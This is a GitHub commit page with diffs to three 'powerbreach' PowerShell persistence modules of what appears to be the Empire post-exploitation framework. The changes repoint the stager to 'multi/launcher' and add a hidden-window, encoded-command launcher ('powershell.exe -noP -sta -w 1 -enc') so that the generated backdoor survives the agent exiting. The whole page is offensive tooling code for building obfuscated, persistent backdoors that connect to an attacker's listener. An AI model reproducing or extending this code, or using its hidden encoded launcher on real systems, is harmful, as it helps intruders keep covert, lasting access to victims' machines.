Skip to content

Commit

Permalink
Fix powerbreach modules
Browse files Browse the repository at this point in the history
  • Loading branch information
xorrior committed Sep 20, 2017
1 parent 086df98 commit b1c359e
Show file tree
Hide file tree
Showing 3 changed files with 10 additions and 6 deletions.
5 changes: 3 additions & 2 deletions lib/modules/powershell/persistence/powerbreach/deaduser.py
Original file line number Diff line number Diff line change
Expand Up @@ -149,7 +149,7 @@ def generate(self, obfuscate=False, obfuscationCommand=""):

else:
# set the listener value for the launcher
stager = self.mainMenu.stagers.stagers["launcher"]
stager = self.mainMenu.stagers.stagers["multi/launcher"]
stager.options['Listener']['Value'] = listenerName
stager.options['Base64']['Value'] = "False"

Expand Down Expand Up @@ -188,7 +188,8 @@ def generate(self, obfuscate=False, obfuscationCommand=""):
script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
# transform the backdoor into something launched by powershell.exe
# so it survives the agent exiting
launcher = helpers.powershell_launcher(script)
modifiable_launcher = "powershell.exe -noP -sta -w 1 -enc "
launcher = helpers.powershell_launcher(script, modifiable_launcher)
stagerCode = 'C:\\Windows\\System32\\WindowsPowershell\\v1.0\\' + launcher
parts = stagerCode.split(" ")

Expand Down
6 changes: 4 additions & 2 deletions lib/modules/powershell/persistence/powerbreach/eventlog.py
Original file line number Diff line number Diff line change
@@ -1,5 +1,6 @@
import os
from lib.common import helpers
import pdb

class Module:

Expand Down Expand Up @@ -123,7 +124,7 @@ def generate(self, obfuscate=False, obfuscationCommand=""):

else:
# set the listener value for the launcher
stager = self.mainMenu.stagers.stagers["launcher"]
stager = self.mainMenu.stagers.stagers["multi/launcher"]
stager.options['Listener']['Value'] = listenerName
stager.options['Base64']['Value'] = "False"

Expand Down Expand Up @@ -162,7 +163,8 @@ def generate(self, obfuscate=False, obfuscationCommand=""):
script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
# transform the backdoor into something launched by powershell.exe
# so it survives the agent exiting
launcher = helpers.powershell_launcher(script)
modifiable_launcher = "powershell.exe -noP -sta -w 1 -enc "
launcher = helpers.powershell_launcher(script, modifiable_launcher)
stagerCode = 'C:\\Windows\\System32\\WindowsPowershell\\v1.0\\' + launcher
parts = stagerCode.split(" ")

Expand Down
5 changes: 3 additions & 2 deletions lib/modules/powershell/persistence/powerbreach/resolver.py
Original file line number Diff line number Diff line change
Expand Up @@ -136,7 +136,7 @@ def generate(self, obfuscate=False, obfuscationCommand=""):

else:
# set the listener value for the launcher
stager = self.mainMenu.stagers.stagers["launcher"]
stager = self.mainMenu.stagers.stagers["multi/launcher"]
stager.options['Listener']['Value'] = listenerName
stager.options['Base64']['Value'] = "False"

Expand Down Expand Up @@ -175,7 +175,8 @@ def generate(self, obfuscate=False, obfuscationCommand=""):
script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
# transform the backdoor into something launched by powershell.exe
# so it survives the agent exiting
launcher = helpers.powershell_launcher(script)
modifiable_launcher = "powershell.exe -noP -sta -w 1 -enc "
launcher = helpers.powershell_launcher(script, modifiable_launcher)
stagerCode = 'C:\\Windows\\System32\\WindowsPowershell\\v1.0\\' + launcher
parts = stagerCode.split(" ")

Expand Down

0 comments on commit b1c359e

Please sign in to comment.